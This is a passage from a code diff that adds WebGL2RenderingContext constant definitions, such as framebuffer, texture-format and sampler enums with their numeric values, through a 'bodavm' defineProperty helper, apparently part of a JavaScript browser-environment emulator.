enumerable: true, + writable: false, + value: 34339 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_STRIDE", { + configurable: false, + enumerable: true, + writable: false, + value: 34340 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 34341 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_NORMALIZED", { + configurable: false, + enumerable: true, + writable: false, + value: 34922 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_POINTER", { + configurable: false, + enumerable: true, + writable: false, + value: 34373 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34975 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "IMPLEMENTATION_COLOR_READ_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 35738 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "IMPLEMENTATION_COLOR_READ_FORMAT", { + configurable: false, + enumerable: true, + writable: false, + value: 35739 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPILE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35713 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LOW_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36336 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MEDIUM_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36337 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HIGH_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36338 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LOW_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36339 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MEDIUM_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36340 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HIGH_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36341 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36160 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36161 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA4", { + configurable: false, + enumerable: true, + writable: false, + value: 32854 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB5_A1", { + configurable: false, + enumerable: true, + writable: false, + value: 32855 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB565", { + configurable: false, + enumerable: true, + writable: false, + value: 36194 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT16", { + configurable: false, + enumerable: true, + writable: false, + value: 33189 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_INDEX8", { + configurable: false, + enumerable: true, + writable: false, + value: 36168 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_STENCIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34041 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_WIDTH", { + configurable: false, + enumerable: true, + writable: false, + value: 36162 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_HEIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 36163 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_INTERNAL_FORMAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36164 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_RED_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36176 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_GREEN_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36177 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_BLUE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36178 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_ALPHA_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36179 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_DEPTH_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36180 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_STENCIL_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36181 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 36048 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_NAME", { + configurable: false, + enumerable: true, + writable: false, + value: 36049 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL", { + configurable: false, + enumerable: true, + writable: false, + value: 36050 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 36051 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT0", { + configurable: false, + enumerable: true, + writable: false, + value: 36064 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36096 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36128 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_STENCIL_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 33306 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_COMPLETE", { + configurable: false, + enumerable: true, + writable: false, + value: 36053 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36054 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36055 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_DIMENSIONS", { + configurable: false, + enumerable: true, + writable: false, + value: 36057 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_UNSUPPORTED", { + configurable: false, + enumerable: true, + writable: false, + value: 36061 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36006 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36007 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_RENDERBUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34024 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_FRAMEBUFFER_OPERATION", { + configurable: false, + enumerable: true, + writable: false, + value: 1286 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_FLIP_Y_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37440 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_PREMULTIPLY_ALPHA_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37441 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONTEXT_LOST_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37442 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_COLORSPACE_CONVERSION_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37443 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BROWSER_DEFAULT_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37444 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 3074 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_ROW_LENGTH", { + configurable: false, + enumerable: true, + writable: false, + value: 3314 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_ROWS", { + configurable: false, + enumerable: true, + writable: false, + value: 3315 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_PIXELS", { + configurable: false, + enumerable: true, + writable: false, + value: 3316 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_ROW_LENGTH", { + configurable: false, + enumerable: true, + writable: false, + value: 3330 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_SKIP_ROWS", { + configurable: false, + enumerable: true, + writable: false, + value: 3331 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_SKIP_PIXELS", { + configurable: false, + enumerable: true, + writable: false, + value: 3332 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 6144 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH", { + configurable: false, + enumerable: true, + writable: false, + value: 6145 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL", { + configurable: false, + enumerable: true, + writable: false, + value: 6146 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED", { + configurable: false, + enumerable: true, + writable: false, + value: 6403 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8", { + configurable: false, + enumerable: true, + writable: false, + value: 32849 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8", { + configurable: false, + enumerable: true, + writable: false, + value: 32856 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB10_A2", { + configurable: false, + enumerable: true, + writable: false, + value: 32857 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_3D", { + configurable: false, + enumerable: true, + writable: false, + value: 32874 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_IMAGES", { + configurable: false, + enumerable: true, + writable: false, + value: 32877 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_IMAGE_HEIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 32878 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_3D", { + configurable: false, + enumerable: true, + writable: false, + value: 32879 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_R", { + configurable: false, + enumerable: true, + writable: false, + value: 32882 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_3D_TEXTURE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 32883 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_2_10_10_10_REV", { + configurable: false, + enumerable: true, + writable: false, + value: 33640 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENTS_VERTICES", { + configurable: false, + enumerable: true, + writable: false, + value: 33000 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENTS_INDICES", { + configurable: false, + enumerable: true, + writable: false, + value: 33001 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MIN_LOD", { + configurable: false, + enumerable: true, + writable: false, + value: 33082 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAX_LOD", { + configurable: false, + enumerable: true, + writable: false, + value: 33083 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BASE_LEVEL", { + configurable: false, + enumerable: true, + writable: false, + value: 33084 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAX_LEVEL", { + configurable: false, + enumerable: true, + writable: false, + value: 33085 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIN", { + configurable: false, + enumerable: true, + writable: false, + value: 32775 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX", { + configurable: false, + enumerable: true, + writable: false, + value: 32776 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT24", { + configurable: false, + enumerable: true, + writable: false, + value: 33190 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_LOD_BIAS", { + configurable: false, + enumerable: true, + writable: false, + value: 34045 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_COMPARE_MODE", { + configurable: false, + enumerable: true, + writable: false, + value: 34892 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_COMPARE_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 34893 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_QUERY", { + configurable: false, + enumerable: true, + writable: false, + value: 34917 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "QUERY_RESULT", { + configurable: false, + enumerable: true, + writable: false, + value: 34918 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "QUERY_RESULT_AVAILABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 34919 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_READ", { + configurable: false, + enumerable: true, + writable: false, + value: 35041 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_COPY", { + configurable: false, + enumerable: true, + writable: false, + value: 35042 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_READ", { + configurable: false, + enumerable: true, + writable: false, + value: 35045 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_COPY", { + configurable: false, + enumerable: true, + writable: false, + value: 35046 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_READ", { + configurable: false, + enumerable: true, + writable: false, + value: 35049 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_COPY", { + configurable: false, + enumerable: true, + writable: false, + value: 35050 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_DRAW_BUFFERS", { + configurable: false, + enumerable: true, + writable: false, + value: 34852 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER0", { + configurable: false, + enumerable: true, + writable: false, + value: 34853 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER1", { + configurable: false, + enumerable: true, + writable: false, + value: 34854 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER2", { + configurable: false, + enumerable: true, + writable: false, + value: 34855 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER3", { + configurable: false, + enumerable: true, + writable: false, + value: 34856 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER4", { + configurable: false, + enumerable: true, + writable: false, + value: 34857 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER5", { + configurable: false, + enumerable: true, + writable: false, + value: 34858 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER6", { + configurable: false, + enumerable: true, + writable: false, + value: 34859 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER7", { + configurable: false, + enumerable: true, + writable: false, + value: 34860 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER8", { + configurable: false, + enumerable: true, + writable: false, + value: 34861 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER9", { + configurable: false, + enumerable: true, + writable: false, + value: 34862 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER10", { + configurable: false, + enumerable: true, + writable: false, + value: 34863 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER11", { + configurable: false, + enumerable: true, + writable: false, + value: 34864 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER12", { + configurable: false, + enumerable: true, + writable: false, + value: 34865 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER13", { + configurable: false, + enumerable: true, + writable: false, + value: 34866 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER14", { + configurable: false, + enumerable: true, + writable: false, + value: 34867 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER15", { + configurable: false, + enumerable: true, + writable: false, + value: 34868 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35657 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35658 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_3D", { + configurable: false, + enumerable: true, + writable: false, + value: 35679 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_SHADOW", { + configurable: false, + enumerable: true, + writable: false, + value: 35682 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAGMENT_SHADER_DERIVATIVE_HINT", { + configurable: false, + enumerable: true, + writable: false, + value: 35723 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_PACK_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 35051 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_UNPACK_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 35052 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_PACK_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35053 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_UNPACK_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35055 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2x3", { + configurable: false, + enumerable: true, + writable: false, + value: 35685 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2x4", { + configurable: false, + enumerable: true, + writable: false, + value: 35686 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3x2", { + configurable: false, + enumerable: true, + writable: false, + value: 35687 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3x4", { + configurable: false, + enumerable: true, + writable: false, + value: 35688 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4x2", { + configurable: false, + enumerable: true, + writable: false, + value: 35689 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4x3", { + configurable: false, + enumerable: true, + writable: false, + value: 35690 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB", { + configurable: false, + enumerable: true, + writable: false, + value: 35904 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB8", { + configurable: false, + enumerable: true, + writable: false, + value: 35905 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB8_ALPHA8", { + configurable: false, + enumerable: true, + writable: false, + value: 35907 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPARE_REF_TO_TEXTURE", { + configurable: false, + enumerable: true, + writable: false, + value: 34894 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32F", { + configurable: false, + enumerable: true, + writable: false, + value: 34836 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32F", { + configurable: false, + enumerable: true, + writable: false, + value: 34837 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16F", { + configurable: false, + enumerable: true, + writable: false, + value: 34842 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16F", { + configurable: false, + enumerable: true, + writable: false, + value: 34843 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_INTEGER", { + configurable: false, + enumerable: true, + writable: false, + value: 35069 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ARRAY_TEXTURE_LAYERS", { + configurable: false, + enumerable: true, + writable: false, + value: 35071 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIN_PROGRAM_TEXEL_OFFSET", { + configurable: false, + enumerable: true, + writable: false, + value: 35076 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_PROGRAM_TEXEL_OFFSET", { + configurable: false, + enumerable: true, + writable: false, + value: 35077 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VARYING_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35659 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_2D_ARRAY", { + configurable: false, + enumerable: true, + writable: false, + value: 35866 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_2D_ARRAY", { + configurable: false, + enumerable: true, + writable: false, + value: 35869 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R11F_G11F_B10F", { + configurable: false, + enumerable: true, + writable: false, + value: 35898 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_10F_11F_11F_REV", { + configurable: false, + enumerable: true, + writable: false, + value: 35899 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB9_E5", { + configurable: false, + enumerable: true, + writable: false, + value: 35901 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_5_9_9_9_REV", { + configurable: false, + enumerable: true, + writable: false, + value: 35902 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_MODE", { + configurable: false, + enumerable: true, + writable: false, + value: 35967 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_SEPARATE_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35968 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_VARYINGS", { + configurable: false, + enumerable: true, + writable: false, + value: 35971 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_START", { + configurable: false, + enumerable: true, + writable: false, + value: 35972 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 35973 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN", { + configurable: false, + enumerable: true, + writable: false, + value: 35976 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RASTERIZER_DISCARD", { + configurable: false, + enumerable: true, + writable: false, + value: 35977 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_INTERLEAVED_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35978 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_SEPARATE_ATTRIBS", { + configurable: false, + enumerable: true, + writable: false, + value: 35979 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INTERLEAVED_ATTRIBS", { + configurable: false, + enumerable: true, + writable: false, + value: 35980 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SEPARATE_ATTRIBS", { + configurable: false, + enumerable: true, + writable: false, + value: 35981 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 35982 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35983 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36208 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36209 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36214 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36215 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36220 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36221 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32I", { + configurable: false, + enumerable: true, + writable: false, + value: 36226 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32I", { + configurable: false, + enumerable: true, + writable: false, + value: 36227 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16I", { + configurable: false, + enumerable: true, + writable: false, + value: 36232 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16I", { + configurable: false, + enumerable: true, + writable: false, + value: 36233 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8I", { + configurable: false, + enumerable: true, + writable: false, + value: 36238 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8I", { + configurable: false, + enumerable: true, + writable: false, + value: 36239 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED_INTEGER", { + configurable: false, + enumerable: true, + writable: false, + value: 36244 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB_INTEGER", { + configurable: false, + enumerable: true, + writable: false, + value: 36248 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA_INTEGER", { + configurable: false, + enumerable: true, + writable: false, + value: 36249 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_ARRAY", { + configurable: false, + enumerable: true, + writable: false, + value: 36289 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_ARRAY_SHADOW", { + configurable: false, + enumerable: true, + writable: false, + value: 36292 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_CUBE_SHADOW", { + configurable: false, + enumerable: true, + writable: false, + value: 36293 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 36294 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 36295 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 36296 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 36298 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_3D", { + configurable: false, + enumerable: true, + writable: false, + value: 36299 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_CUBE", { + configurable: false, + enumerable: true, + writable: false, + value: 36300 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_2D_ARRAY", { + configurable: false, + enumerable: true, + writable: false, + value: 36303 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 36306 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_3D", { + configurable: false, + enumerable: true, + writable: false, + value: 36307 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_CUBE", 